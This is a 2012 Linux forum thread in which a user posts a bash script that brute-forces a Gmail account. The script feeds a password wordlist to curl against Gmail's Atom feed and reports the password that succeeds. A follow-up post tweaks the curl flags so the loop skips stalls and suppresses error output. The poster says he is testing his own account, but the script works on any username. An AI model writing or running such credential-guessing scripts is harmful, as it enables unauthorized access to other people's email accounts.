LinuxQuestions.org
Latest LQ Deal: Latest LQ Deals
Home Forums Tutorials Articles Register
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 10-04-2012, 09:14 PM   #1
amboxer21
Member
 
Registered: Mar 2012
Location: New Jersey
Distribution: Gentoo
Posts: 291

Rep: Reputation: Disabled
curl returns error 401 bash


I wrote a bash script to check how well my gmail stands up against brute forcing. Since my yahoo was just hacked. It only sent out emails containing links to all my contacts and nothing was modified. So I assume it it was a bot/worm trying to spread itself.

It works fine, just hangs for a few minutes or so on a failed attempt. Then continues until it finds the right password.

Other times it will just run without hanging and make a quick pass through.

What can I do to circumvent this? Re-write it in C with cURL?? or if I encounter an error stop curl and re-run??

The script
Code:
#!/bin/bash

if [ $# -lt 2 ]; then
  echo "Usage: $0 gmail_username passwordlist.lst";
  exit
fi

readarray -t pword < <(cat $2);
uname=$1;

for file in "${pword[@]}"; do

CURL=$(curl --fail --user $uname:$file "https://mail.google.com/mail/feed/atom");

 if [[ ! "${CURL}" ]] ; then
 echo "Failed login.";

        else
             echo -e "\nPASSWORD WAS: $file";
 fi

done

Last edited by amboxer21; 10-04-2012 at 09:15 PM.
 
Old 10-04-2012, 10:00 PM   #2
amboxer21
Member
 
Registered: Mar 2012
Location: New Jersey
Distribution: Gentoo
Posts: 291

Original Poster
Rep: Reputation: Disabled
I used the -m switch to minimize transfer time. So, when it does hang, it will move on after one second.

so this
Code:
CURL=$(curl --fail --user $uname:$file "https://mail.google.com/mail/feed/atom");
TURNS INTO THIS
Code:
CURL=$(curl --fail --silent -m1 --user $uname:$file "https://mail.google.com/mail/feed/atom");
Note the use of silent as well. It will suppress any error(When a failed attempt occurs).

Last edited by amboxer21; 10-04-2012 at 10:03 PM.
 
  


Reply



Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Curl returns 18 in Apache and 23 in Nginx for Range Request. vijaya_svk Programming 0 12-18-2011 09:30 PM
[SOLVED] cURL POST data command from shell returns HTTP Error Code 408 fyndr Linux - Software 3 03-04-2011 09:17 AM
Help! Error 401 Authorization Required jaaffersadiq Linux - Newbie 1 11-04-2008 05:49 PM
Compiling stellarium: cmake returns "CURL was not found" charlesreid1 Linux - Software 2 10-23-2007 12:02 AM
.htaccess -- ErrorDocument can't work with 401 error b:z Linux - Networking 1 05-26-2005 09:28 AM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 09:18 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Open Source Consulting | Domain Registration